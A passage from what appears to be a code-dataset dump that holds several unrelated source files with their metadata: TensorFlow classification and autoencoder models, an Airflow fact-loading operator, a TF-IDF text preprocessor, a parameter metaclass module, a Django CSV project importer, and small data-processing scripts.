winner):\n # Obtain the shape of code and winner\n # n: batch size\n # c: the number of feaure maps\n # (or the number of filters)\n # k: the number of winners to be kept\n code_shape = code.get_shape().as_list()\n winner_shape = winner.get_shape().as_list()\n n, c = winner_shape[0], winner_shape[1]\n k = int(self.lifetime_rate * n) + 1\n\n # Compute mean value of each winner\n winner_mean = tf.reduce_mean(winner, axis=2)\n winner_mean = tf.transpose(winner_mean)\n # Get top k mean values of top k winners\n winner_mean_top_k, _ = tf.nn.top_k(winner_mean, k)\n # Get the minimum of top k values to do thresholding\n winner_mean_top_k_min = winner_mean_top_k[..., k - 1]\n winner_mean_top_k_min = tf.reshape(winner_mean_top_k_min, [c, 1])\n\n # Threshold the winner, the indices of top k winners is 1,\n # and set others to 0\n drop_map = tf.where(winner_mean < winner_mean_top_k_min,\n tf.zeros([c, n], tf.float32),\n tf.ones([c, n], tf.float32))\n drop_map = tf.transpose(drop_map)\n\n # As the input tensor could be 5D or 4D,\n # set up parameters for different inputs\n if len(code_shape) == 5:\n reform_shape = [n, 1, 1, 1, c]\n elif len(code_shape) == 4:\n reform_shape = [n, 1, 1, c]\n else:\n raise ValueError(\"Cannot handle with the input.\")\n\n # Keep top k winners in code\n code = code * tf.reshape(drop_map, reform_shape)\n\n return code\n\n # Winner-Take-All constraint\n code, winner = spatial_sparsity(code, k)\n code = lifetime_sparsity(code, winner)\n\n return code\n\n def _decoder(self, code):\n '''_DECODER\n\n Decoder section of autoencoder to\n reconstruct code to input.\n\n Input:\n ------\n - code: tensor, compressed representation\n\n Output:\n -------\n - the reconstruction from code\n\n '''\n\n # decode = self._dropout(code, \"de_dropout1\")\n decode = self._deconv_bn_act(code, 512, 3, 2, \"deconv1\")\n # decode = self._dropout(decode, \"de_dropout2\")\n decode = self._deconv_bn_act(decode, 256, 3, 2, \"deconv2\")\n decode = self._deconv_bn_act(decode, 128, 3, 2, \"deconv3\")\n # decode = self._dropout(decode, \"de_dropout3\")\n decode = self._deconv_bn_act(decode, 4, 3, 2, \"deconv4\", False)\n decode = tf.nn.tanh(decode, \"tanh\")\n\n return decode\n\n #\n # Error Check\n #\n\n def _check_input(self, x):\n '''_CHECK_INPUT\n\n Chech the dimentions of input tensor whether\n satisfy the requirement for the model. If not,\n raise an error and quit program.\n\n Input:\n ------\n - x: tensor, the tensor input to the model\n\n '''\n\n # Obtain the shape of input\n x_dims = len(x.get_shape().as_list())\n\n if (x_dims == 5 and (self.dims == \"3d\" or self.dims == \"3D\")) or \\\n (x_dims == 4 and (self.dims == \"2d\" or self.dims == \"2D\")):\n pass\n else: # The input is unwanted\n msg = (\"Your model deals with {0} data, the input tensor should be {1}D. \" +\n \"But your input is {2}D.\").format(self.dims, self.right_dims, x_dims)\n raise ValueError(msg)\n\n return\n\n def _check_output(self, x, output):\n '''_CHECK_OUTPUT\n\n Obtain the dimentions of input and ouput respectively,\n and check whether they are same. If not, raise an error\n and quit program. This check is only for AUTOENCODER.\n\n Inputs:\n -------\n - x: tensor, the input tensor\n - output: tensor, the output generated from model\n\n '''\n\n # Obtain dimentions\n x_dims = x.get_shape().as_list()\n output_dims = output.get_shape().as_list()\n\n if x_dims == output_dims:\n return\n else: # They ate not same\n msg = (\"Input tensor shape: {0}, output tensor shape: {1}. \" +\n \"They should be same.\").format(x_dims, output_dims)\n raise ValueError(msg)\n\n return\n\n #\n # A Simple Test Case\n #\n\n def test(self, x, is_training):\n '''_TEST\n\n A function to test basic helpers.\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n net = self._conv_bn_act(x, 2, 3, 1, \"layer1\")\n net = self._max_pool(net, 2, \"max_pool1\")\n net = self._conv_bn_act(net, 2, 3, 1, \"layer2\")\n net = self._average_pool(net, 2, \"avg_pool2\")\n net = self._conv_bn_act(net, 2, 3, 1, \"layer3\")\n net = self._max_pool(net, 2, \"max_pool3\")\n net = self._flatten(net, \"flatten\")\n net = self._fc_bn_act(net, 64, \"fcn1\")\n net = self._dropout(net, \"drop1\")\n net = self._fc_bn_act(net, 64, \"fcn2\")\n net = self._dropout(net, \"drop2\")\n net = self._logits_fc(net, \"logits\")\n net = tf.nn.softmax(logits=net, name=\"softmax\")\n\n print(\"Simple test of Class BTCModels\")\n print(\"Input n volumes in 3 classes\")\n print(\"Output probabilities' shape: \", net.shape)\n\n return\n\n #\n # Contruct Models\n #\n\n def cnn(self, x, is_training):\n '''CNN\n\n VGG-like CNN model.\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n Output:\n -------\n - output logits after VGG-like CNN\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n # Here is a very simple case to test btc_train first\n net = self._conv_bn_act(x, 32, 3, 1, \"layer1\")\n net = self._conv_bn_act(net, 32, 3, 1, \"layer2\")\n net = self._pooling(net, 2, \"max\", \"max_pool1\")\n net = self._dropout(net, \"dropout1\")\n net = self._conv_bn_act(net, 64, 3, 1, \"layer3\")\n net = self._conv_bn_act(net, 64, 3, 1, \"layer4\")\n net = self._pooling(net, 2, \"max\", \"max_pool2\")\n net = self._dropout(net, \"dropout2\")\n net = self._conv_bn_act(net, 128, 3, 1, \"layer5\")\n net = self._conv_bn_act(net, 128, 3, 1, \"layer6\")\n net = self._pooling(net, 2, \"max\", \"max_pool3\")\n net = self._dropout(net, \"dropout3\")\n net = self._conv_bn_act(net, 256, 3, 1, \"layer7\")\n net = self._conv_bn_act(net, 256, 3, 1, \"layer8\")\n net = self._pooling(net, -1, \"max\", \"global_maxpool\")\n net = self._flatten(net, \"flatten\")\n net = self._dropout(net, \"dropout4\")\n net = self._fc_bn_act(net, 256, \"fc1\")\n net = self._dropout(net, \"dropout5\")\n net = self._fc_bn_act(net, 512, \"fc2\")\n net = self._dropout(net, \"dropout6\")\n net = self._logits_fc(net, \"logits\")\n\n return net\n\n def _cnn_branch(self, x, branch):\n net = self._conv_bn_act(x, 16, 3, 1, branch + \"_layer1\")\n net = self._conv_bn_act(net, 16, 3, 1, branch + \"_layer2\")\n # net = self._conv_bn_act(net, 16, 3, 1, branch + \"_layer3\")\n net = self._pooling(net, 2, \"max\", branch + \"maxpool1\")\n net = self._conv_bn_act(net, 32, 3, 1, branch + \"_layer4\")\n # net = self._conv_bn_act(net, 32, 3, 1, branch + \"_layer5\")\n net = self._conv_bn_act(net, 32, 3, 1, branch + \"_layer6\")\n net = self._pooling(net, 2, \"max\", branch + \"maxpool2\")\n net = self._conv_bn_act(net, 64, 3, 1, branch + \"_layer7\")\n net = self._conv_bn_act(net, 64, 3, 1, branch + \"_layer8\")\n net = self._conv_bn_act(net, 64, 3, 1, branch + \"_layer9\")\n net = self._pooling(net, 2, \"max\", branch + \"maxpool3\")\n net = self._conv_bn_act(net, 128, 3, 1, branch + \"_layer10\")\n net = self._conv_bn_act(net, 128, 3, 1, branch + \"_layer11\")\n net = self._conv_bn_act(net, 128, 3, 1, branch + \"_layer12\")\n\n # net = self._pooling(net, -1, \"max\", branch + \"_global_maxpool\")\n # net = self._flatten(net, \"flatten\")\n\n return net\n\n def _res_branch(self, x, branch):\n net = self._conv_bn_act(x, 16, 5, 1, branch + \"_preconv\")\n net = self._res_block(net, [16, 16, 16], 1, branch + \"_res1\")\n net = self._res_block(net, [16, 32, 32], 2, branch + \"_res2\")\n net = self._res_block(net, [32, 32, 32], 1, branch + \"_res3\")\n net = self._res_block(net, [32, 64, 64], 2, branch + \"_res4\")\n net = self._res_block(net, [64, 64, 64], 1, branch + \"_res5\")\n net = self._res_block(net, [64, 128, 128], 2, branch + \"_res6\")\n net = self._res_block(net, [128, 256, 256], 1, branch + \"_res7\")\n\n net = self._pooling(net, -1, \"max\", branch + \"_global_maxpool\")\n net = self._flatten(net, \"flatten\")\n\n return net\n\n def multi_cnn(self, x, is_training):\n self._check_input(x)\n self.is_training = is_training\n\n dims = x.get_shape().as_list()[:-1] + [1]\n input0 = tf.reshape(x[..., 0], dims)\n input1 = tf.reshape(x[..., 1], dims)\n input2 = tf.reshape(x[..., 2], dims)\n input3 = tf.reshape(x[..., 3], dims)\n\n # net0 = self._cnn_branch(input0, \"branch0\")\n # net1 = self._cnn_branch(input1, \"branch1\")\n # net2 = self._cnn_branch(input2, \"branch2\")\n # net3 = self._cnn_branch(input3, \"branch3\")\n\n net0 = self._res_branch(input0, \"branch0\")\n net1 = self._res_branch(input1, \"branch1\")\n net2 = self._res_branch(input2, \"branch2\")\n net3 = self._res_branch(input3, \"branch3\")\n\n # nets = [net0]\n\n net = tf.concat([net0, net1, net2, net3], 1, \"concate\")\n # net = tf.concat([net0, net1, net2, net3], 4, \"concate\")\n # net = self._dropout(net, \"dropout1\")\n # net = self._conv_bn_act(net, 256, 3, 1, \"layer1\")\n # net = self._conv_bn_act(net, 256, 3, 1, \"layer2\")\n\n # net = self._pooling(net, -1, \"max\", \"global_maxpool\")\n # net = self._flatten(net, \"flatten\")\n\n net = self._dropout(net, \"dropout1\")\n # net = self._fc_bn_act(net, 1024, \"fc1\")\n # net = self._dropout(net, \"dropout2\")\n # net = self._fc_bn_act(net, 1024, \"fc2\")\n # net = self._dropout(net, \"dropout3\")\n net = self._logits_fc(net, \"logits\")\n\n return net\n\n def full_cnn(self, x, is_training):\n '''FULL_CNN\n\n CNN with convolutional logits layer, without\n fully connected layers.\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n Output:\n -------\n - output logits after Fully CNN\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n # Here is a very simple case to test btc_train first\n net = self._conv_bn_act(x, 32, 3, 1, \"layer1\")\n net = self._pooling(net, 2, \"max\", \"max_pool1\")\n net = self._dropout(net, \"dropout1\")\n net = self._conv_bn_act(net, 64, 3, 1, \"layer2\")\n net = self._pooling(net, 2, \"max\", \"max_pool2\")\n net = self._dropout(net, \"dropout2\")\n net = self._conv_bn_act(net, 128, 3, 1, \"layer3\")\n net = self._pooling(net, 2, \"max\", \"max_pool3\")\n net = self._dropout(net, \"dropout3\")\n net = self._conv_bn_act(net, 256, 3, 1, \"layer4\")\n net = self._dropout(net, \"dropout4\")\n net = self._logits_conv(net, \"logits_conv\")\n net = self._flatten(net, \"logits_flatten\")\n\n return net\n\n def res_cnn(self, x, is_training):\n '''RES_CNN\n\n Residual CNN (ResNet).\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n Output:\n -------\n - output logits after ResNet\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n # Here is a very simple case to test btc_train first\n net = self._conv_bn_act(x, 16, 5, 1, \"preconv\")\n net = self._res_block(net, [16, 16, 16], 1, \"res1\")\n net = self._res_block(net, [16, 16, 16], 1, \"res2\")\n net = self._res_block(net, [16, 32, 32], 2, \"res3\")\n net = self._res_block(net, [32, 32, 32], 1, \"res4\")\n net = self._res_block(net, [32, 32, 32], 1, \"res5\")\n net = self._res_block(net, [32, 64, 64], 2, \"res6\")\n net = self._res_block(net, [64, 64, 64], 1, \"res7\")\n net = self._res_block(net, [64, 64, 64], 1, \"res8\")\n net = self._res_block(net, [128, 128, 128], 2, \"res9\")\n net = self._res_block(net, [128, 128, 128], 1, \"res10\")\n net = self._res_block(net, [128, 256, 256], 1, \"res11\")\n net = self._pooling(net, -1, \"avg\", \"global_avgpool\")\n net = self._flatten(net, \"flatten\")\n net = self._logits_fc(net, \"logits\")\n\n return net\n\n def dense_cnn(self, x, is_training):\n '''DENSE_NET\n\n Densely CNN (DenseNet).\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n Output:\n -------\n - output logits after DenseNet\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n # Set the bottleneck symbol\n self.bc = True\n\n # Here is a very simple case to test btc_train first\n # Preconv layer before dense block\n with tf.variable_scope(\"preconv\"):\n net = self._conv(x, 1, 5, 2)\n net = self._dense_block(net, 1, 2, \"dense1\")\n net = self._transition(net, \"trans1\")\n net = self._dense_block(net, 1, 2, \"dense2\")\n net = self._last_transition(net, \"global_avgpool\")\n net = self._flatten(net, \"flatten\")\n net = self._logits_fc(net, \"logits\")\n\n return net\n\n def autoencoder(self, x, is_training, sparse_type=None, k=None):\n '''AUTOENCODER\n\n Autoencoder with stride pooling.\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n - sparse_type: string, \"kl\" or \"wta\"\n - k: int, parameters for Winner-Take-All constraint\n\n Output:\n -------\n - a reconstructed tensor of input\n\n '''\n\n if self.encoder is None:\n raise ValueError(\"Pool method is None.\")\n\n self._check_input(x)\n self.is_training = is_training\n\n # Encoder section\n # code = self.encoder(x)\n\n # Winner-Take-All constraint\n # if sparse_type == \"wta\":\n # code = self._wta_constraint(code, k)\n\n # Decoder section\n # decode = self._decoder(code)\n\n decode = self._encoder_decoder(x)\n\n self._check_output(x, decode)\n\n return decode\n\n def autoencoder_classier(self, x, is_training):\n '''CAE_CLASSIER_STRIDE\n\n Apply pre-trained model to generate code\n for each case. Train logistic regression\n to classify input case.\n\n Inputs:\n -------\n - x: tensor placeholder, input volumes in batch\n - is_training: boolean placeholder, indicates the mode,\n True: training mode,\n False: validating and inferencing mode\n\n Output:\n -------\n - output logits after classifier\n\n '''\n\n self._check_input(x)\n self.is_training = is_training\n\n # Encoder section\n code = self.encoder(x)\n # Global max pooling\n # code_avg = self._pooling(code, -1, \"avg\", \"global_avgpool\")\n # code_max = self._pooling(code, -1, \"max\", \"global_maxpool\")\n # code = tf.concat([code_avg, code_max], 1, \"concat\")\n code = self._flatten(code, \"flatten\")\n code = self._activate(code, \"act\")\n code = self._batch_norm(code, \"bn\")\n code = self._dropout(code, \"dropout1\")\n feat = self._fc_bn_act(code, 128, \"fc1\")\n feat = self._dropout(feat, \"dropout2\")\n # feat = self._fc_bn_act(code, 64, \"fc2\")\n # feat = self._dropout(feat, \"dropout3\")\n output = self._logits_fc(feat, \"logits\")\n\n return output\n\n\nif __name__ == \"__main__\":\n\n models = BTCModels(classes=3, act=\"relu\", alpha=None,\n momentum=0.99, drop_rate=0.5, dims=\"3d\",\n cae_pool=\"stride\", lifetime_rate=0.2)\n\n # Test function for cnn, full_cnn, res_cnn, dense_cnn and autoencoder\n x_3d = tf.placeholder(tf.float32, [32, 49, 49, 49, 4])\n # x_3d = tf.placeholder(tf.float32, [32, 112, 112, 88, 4])\n x_2d = tf.placeholder(tf.float32, [32, 112, 112, 4])\n is_training = tf.placeholder(tf.bool, [])\n\n # models.test(x_3d, is_training)\n # net = models.cnn(x_3d, is_training)\n # net = models.full_cnn(x_3d, is_training)\n # net = models.res_cnn(x_3d, is_training)\n # net = models.dense_cnn(x_3d, is_training)\n # net = models.autoencoder(x_3d, is_training)\n # net = models.autoencoder(x_3d, is_training, \"wta\", 10)\n # net = models.autoencoder_classier(x_3d, is_training)\n net = models.multi_cnn(x_3d, is_training)\n","sub_path":"src/btc_models.py","file_name":"btc_models.py","file_ext":"py","file_size_in_byte":53170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"521876430","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\nclass LoadFactOperator(BaseOperator):\n\n ui_color = '#F98866'\n \n load_sql = \"INSERT INTO {} {}\"\n \n @apply_defaults\n def __init__(self,\n # Define your operators params (with defaults) here\n # Example:\n redshift_conn_id = \"\",\n table=\"\",\n select_sql_stmt=\"\",\n *args, **kwargs):\n\n super(LoadFactOperator, self).__init__(*args, **kwargs)\n \n self.redshift_conn_id = redshift_conn_id\n self.table = table\n self.select_sql_stmt = select_sql_stmt\n \n \n\n def execute(self, context):\n redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n \n self.log.info(\"LoadFactOperator: execute sql query\")\n load_facts_sql = LoadFactOperator.load_sql.format(self.table, self.select_sql_stmt)\n redshift.run(load_facts_sql)\n","sub_path":"airflow/plugins/operators/load_fact.py","file_name":"load_fact.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89153214","text":"import numpy as np\r\nimport nltk\r\nimport re\r\nimport pandas as pd\r\nimport sklearn\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.decomposition import PCA\r\nfrom nltk.tokenize import word_tokenize\r\nfrom nltk.corpus import wordnet\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem import WordNetLemmatizer\r\n\r\n\r\nclass ScrapedArticles():\r\n def __init__(self, articles_list):\r\n self.database = articles_list\r\n self.bagsOfWords = []\r\n self.wordFreq = [{}]\r\n\r\n def clean_database(self):\r\n self.database.remove('')\r\n #remove non-letters\r\n for i in range(0, len(self.database)):\r\n exclusion_list = ['[^a-zA-Z]', 'rt', 'http', 'co', 'RT']\r\n exclusions = '|'.join(exclusion_list)\r\n self.database[i] = re.sub(exclusions, ' ', self.database[i])\r\n self.database[i] = self.database[i].lower()\r\n\r\n #create a bag of words\r\n for i in range(0, len(self.database)):\r\n self.bagsOfWords.append(\r\n word_tokenize(self.database[i])\r\n )\r\n bag = [x for x in self.bagsOfWords[i] if ((not (x in stopwords.words('english'))) and x != \"\") ]\r\n self.bagsOfWords[i] = bag\r\n\r\n #lemmatize to keep 'root' of words\r\n lemmatizer = WordNetLemmatizer()\r\n for s in range(0, len(self.bagsOfWords)):\r\n for i in range(0, len(self.bagsOfWords[s])):\r\n word = self.bagsOfWords[s][i]\r\n self.bagsOfWords[s][i] = lemmatizer.lemmatize(word, self.get_wordnet_pos(word))\r\n\r\n\r\n def find_unique_words(self):\r\n\r\n #find all the words used in the articles and puts it in list\r\n unique_words = []\r\n for i in self.bagsOfWords:\r\n unique_words = set(unique_words).union(set(i))\r\n\r\n\r\n #count all the times a word appears in a doccument\r\n word_count = []\r\n for s in range (0, len(self.bagsOfWords)):\r\n word_count.append(dict.fromkeys(unique_words, 0))\r\n for i in self.bagsOfWords[s]:\r\n word_count[s][i] += 1\r\n self.wordFreq = word_count\r\n\r\n #apply sqrt to reduce the influence of high word counts\r\n for s in range(0, len(self.wordFreq)):\r\n for word in self.wordFreq[s]:\r\n count = self.wordFreq[s][word]\r\n self.wordFreq[s][word] = np.sqrt(count)\r\n\r\n def computeTF(self) -> [{}]:\r\n tfDict = []\r\n for i in range (0, len(self.wordFreq)):\r\n tfDict.append({})\r\n for word, count in self.wordFreq[i].items():\r\n tfDict[i][word] = count/float(len(self.bagsOfWords[i]))\r\n return tfDict\r\n\r\n def computeIDF(self) -> [{}]:\r\n idf = {}\r\n x = 0\r\n for word in self.wordFreq[0]:\r\n for i in range(0, len(self.wordFreq)):\r\n if (self.wordFreq[i].get(word, 0) != 0):\r\n idf[word] = idf.get(word, 0) + 1\r\n idf[word] = len(self.bagsOfWords)/idf.get(word, 0)\r\n x += 1\r\n return idf\r\n\r\n def computeTF_IDF(self):\r\n tf = self.computeTF()\r\n idf = self.computeIDF()\r\n\r\n tf_idf = []\r\n for i in range(0, len(self.wordFreq)):\r\n tf_idf.append({})\r\n for word in self.wordFreq[0]:\r\n tf_idf[i][word] = tf[i].get(word, 0)*idf.get(word, 0)\r\n return tf_idf\r\n\r\n def dimension_reduction(self, df):\r\n df = StandardScaler().fit_transform(df)\r\n pca = PCA(n_components=5)\r\n\r\n principalComponents = pca.fit_transform(df)\r\n principalDf = pd.DataFrame(data=principalComponents\r\n , columns=['principal component 1', 'principal component 2', 'principal component 3', 'principal component 4', 'principal component 5'])\r\n return principalDf\r\n\r\n def get_wordnet_pos(self, word):\r\n \"\"\"Map POS tag to first character lemmatize() accepts\"\"\"\r\n tag = nltk.pos_tag([word])[0][1][0].upper()\r\n tag_dict = {\"J\": wordnet.ADJ,\r\n \"N\": wordnet.NOUN,\r\n \"V\": wordnet.VERB,\r\n \"R\": wordnet.ADV}\r\n\r\n return tag_dict.get(tag, wordnet.NOUN)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Article_Preprocessing.py","file_name":"Article_Preprocessing.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135377160","text":"# EvilPlot\n# Copyright 2008 Brigham Young University\n#\n# This file is part of EvilPlot.\n#\n# EvilPlot is free software: you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free\n# Software Foundation, either version 3 of the License, or (at your option)\n# any later version.\n#\n# EvilPlot is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more\n# details.\n#\n# You should have received a copy of the GNU General Public License along with\n# EvilPlot. If not, see <http://www.gnu.org/licenses/>.\n#\n# Inquiries regarding any further use of the Materials contained on this site,\n# please contact the Copyright Licensing Office, Brigham Young University,\n# 3760 HBLL, Provo, UT 84602, (801) 422-9339 or 422-3821, e-mail\n# copyright@byu.edu.\n\n\"\"\"param.py: Create objects with inheritable keyword parameters/attributes\n\nAnything that subclasses ParamObj will be an object for which _params is\na special directory of Param objects.\n\"\"\"\n\nfrom six import with_metaclass\n\n\n#TODO: make it so that you can put None in your dictionary to cancel out\n# a parameter defined in one of your superclasses.\n\nclass ParamError(Exception):\n def __init__(self, clsname, paramname):\n self.clsname = clsname\n self.paramname = paramname\n\n def __str__(self):\n return 'Class %s has no parameter \"%s\"' % (self.clsname, self.paramname)\n\n\nclass Param(object):\n \"\"\"A Parameter with name, default value, and documentation.\n\n A list of Params is used by a class of type ParamMeta.\n \"\"\"\n def __init__(self, default=None, doc=None):\n self.default = default\n self.doc = doc\n\n\nclass ParamMeta(type):\n \"\"\"A metaclass that lets you define params.\n\n When creating a new class of type ParamMeta, add a dictionary named\n params into the class namespace. Add Param objects to the dictionary\n with the key being the name of the parameter. Now, each object of the\n class will have an attribute with the appropriate name. The value will\n default to the default value in the Param object, but it can be\n overridden by name in __init__.\n\n Rather than using ParamMeta directly, we recommend that you subclass\n ParamObj, which will allow you to override __init__ as long as you\n call super's __init__.\n \"\"\"\n def __new__(cls, classname, bases, classdict):\n\n # Make sure we have a params dict in classdict.\n if '_params' not in classdict:\n classdict['_params'] = {}\n params = classdict['_params']\n\n # Collect the params from each of the parent classes.\n for base in bases:\n try:\n baseparams = base._params\n except AttributeError:\n # This base class doesn't have a params list.\n continue\n\n for param_name in baseparams:\n if param_name in params:\n if params[param_name].doc is None:\n params[param_name].doc = baseparams[param_name].doc\n else:\n params[param_name] = baseparams[param_name]\n\n # Update documentation based on our parameters\n if '__doc__' not in classdict:\n classdict['__doc__'] = '%s -- Class using Params' % classname\n docs = [('%s: %s (default=%s)' % (param_name,\n params[param_name].doc, params[param_name].default))\n for param_name in params]\n docs.sort()\n classdict['__doc__'] = classdict['__doc__'] + \\\n '\\n '.join(['\\n%s Parameters:' % classname] + docs)\n\n # Write a new __init__ for our classes. If they write their own\n # __init__, we refuse to overwrite it.\n if '__init__' not in classdict:\n def __init__(self, **kwds):\n for key in kwds:\n if key not in self._params:\n raise ParamError(self.__class__.__name__, key)\n for param_name in self._params:\n if param_name in kwds:\n value = kwds[param_name]\n else:\n value = self._params[param_name].default\n setattr(self, param_name, value)\n classdict['__init__'] = __init__\n\n # Create and return the new class\n return type.__new__(cls, classname, bases, classdict)\n\n\nclass ParamObj(with_metaclass(ParamMeta)):\n \"\"\"An object that treats \"_params\" specially.\n\n An object of class ParamObj may contain a dictionary named _params. This\n dictionary should have string keys and Param values. For each entry in\n the dictionary, an object attribute is created with the same name as the\n key, and the value and documentation of the attribute are given by the\n arguments to the Param. Inheritance of _params works right.\n\n Example:\n\n class Rabbit(ParamObj):\n \\\"\\\"\\\"A small rodent, very similar to a hare, which feeds on grass\n and burrows in the earth.\n \\\"\\\"\\\"\n _params = dict(weight=Param(default=42, doc='Body Weight'))\n\n def __init__(self, name, **kwds):\n ParamObj.__init__(**kwds)\n\n >>> m = Mammal()\n >>> m.__doc__\n 'A small rodent, very similar to a hare, which feeds on grass\n and burrows in the earth.\n\n weight: Body Weight (default=42)'\n >>> m.weight\n 42\n >>> m = Mammal(weight=12)\n >>> m.weight\n 12\n \"\"\"\n\n\n__all__ = [ParamObj, Param]\n\n# vim: et sw=4 sts=4\n","sub_path":"evilplot/param.py","file_name":"param.py","file_ext":"py","file_size_in_byte":5628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"337086840","text":"import csv\nimport datetime\n\nfrom django.core.management.base import BaseCommand\nfrom django.db import transaction\n\nfrom project.models import Project\nfrom project.models import ProjectCategory\nfrom project.models import ProjectFundingSource\nfrom project.models import ProjectUserMembership\nfrom users.models import Profile\n\n\nclass Command(BaseCommand):\n help = 'Import HPCW projects from a csv file.'\n\n def add_arguments(self, parser):\n parser.add_argument('csv_filename')\n\n def handle(self, *args, **options):\n try:\n filename = options['csv_filename']\n with open(filename, newline='', encoding='ISO-8859-1') as csvfile:\n next(csvfile)\n reader = csv.reader(csvfile, delimiter=',')\n self.parse_projects(reader)\n except FileNotFoundError:\n self.stdout.write(self.style.ERROR('Unable to open ' + filename))\n\n def parse_projects(self, reader):\n for row in reader:\n try:\n with transaction.atomic():\n self.parse_project(row)\n self.parse_project_membership(row)\n except Exception as e:\n self.stdout.write(self.style.ERROR(str(e)))\n\n def parse_project(self, data):\n _, created = Project.objects.get_or_create(\n legacy_hpcw_id=data[0],\n title='Untitled' if data[2] is '' else data[2],\n description='',\n institution_reference='',\n pi=data[5].title(),\n tech_lead=Profile.objects.get(hpcw_username__iexact=data[6].lower()).user,\n category=ProjectCategory.objects.get(name='Standard Projects - Internally Funded'),\n funding_source=ProjectFundingSource.objects.get(name='N/A'),\n start_date=datetime.datetime.strptime(data[1], '%d/%m/%Y'),\n end_date=datetime.datetime.strptime(data[1], '%d/%m/%Y'),\n allocation_cputime=0,\n allocation_memory=0,\n allocation_storage_home=0,\n allocation_storage_scratch=0,\n status=Project.AWAITING_APPROVAL,\n notes='Imported HPCW Project.',\n )\n if created:\n message = 'Successfully created project {code}.'.format(code=data[0])\n self.stdout.write(self.style.SUCCESS(message))\n else:\n message = 'Project {code} already exists.'.format(code=data[0])\n self.stdout.write(self.style.SUCCESS(message))\n\n def parse_project_membership(self, data):\n project_member_col_index = 8\n while (data[project_member_col_index].strip()):\n user = Profile.objects.get(hpcw_username__iexact=data[project_member_col_index].lower()).user\n _, created = ProjectUserMembership.objects.get_or_create(\n project=Project.objects.get(legacy_hpcw_id=data[0]),\n user=user,\n status=ProjectUserMembership.AWAITING_AUTHORISATION,\n date_joined=datetime.datetime.now(),\n )\n if created:\n message = 'Successfully created project user membership for {hpcw_username}({user}).'.format(\n hpcw_username=user.profile.hpcw_username,\n user=user,\n )\n self.stdout.write(self.style.SUCCESS(message))\n else:\n message = 'Project user membership for {hpcw_username} ({user}) already exists.'.format(\n hpcw_username=user.profile.hpcw_username,\n user=user,\n )\n self.stdout.write(self.style.SUCCESS(message))\n project_member_col_index += 1\n","sub_path":"project/management/commands/add_hpcw_projects.py","file_name":"add_hpcw_projects.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398714613","text":"import sys\r\nimport pandas as pd\r\n\r\ninputFile=sys.argv[1]\r\noutFile=sys.argv[2]\r\nsizeFile=sys.argv[3]\r\n\r\ndf = pd.read_csv(inputFile,sep=\"\\t\",header=None)\r\ndf[1] = df[1].astype(int)\r\ndf[2] = df[2].astype(int)\r\ndf[3] = df[0]+\":\"+df[1].astype(str)+\"-\"+df[2].astype(str)\r\ndf[4] = df[2]-df[1]\r\ndf[5] = \"+\"\r\n\r\ndf[[0,1,2,3,4,5]].to_csv(outFile,sep=\"\\t\",header=False,index=False)\r\n\r\ndf[[3,4]].to_csv(sizeFile,sep=\"\\t\",header=False,index=False)\r\n\r\n","sub_path":"share/misc/get_uniform_bed.py","file_name":"get_uniform_bed.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"219389410","text":"import numpy as np\nfrom numpy.core.multiarray import datetime_as_string\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport joblib\nimport sys\nimport matplotlib.dates as mdates\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\n# 引数でプロジェクト名指定\nif len(sys.argv) != 2:\n print(\"No argument len\")\n sys.exit()\n\nproject = sys.argv[1]\n\na = joblib.load(f\"scripts/evaluation_accuracy/result/{project}.pkl\")\nb = joblib.load(f\"scripts/evaluation_accuracy/result/{project}_2.pkl\")\nprint(a)\nprint(b)\nnot_use_datetime = a[\"hyouka_1\"]\nuse_datetime = b[\"hyouka_2\"]\n\nnum_data_n = len(not_use_datetime)\nnum_data_u = len(use_datetime)\n\ndate_n = not_use_datetime.index.values\ndate_u = use_datetime.index.values\n\nans_n = [0] * num_data_n\nans_u = [0] * num_data_u\nx = 0\nfor j in range(num_data_u):\n x += use_datetime.iloc[j]\n ans_u[j] = x / (j+1)\n\nx = 0\nfor 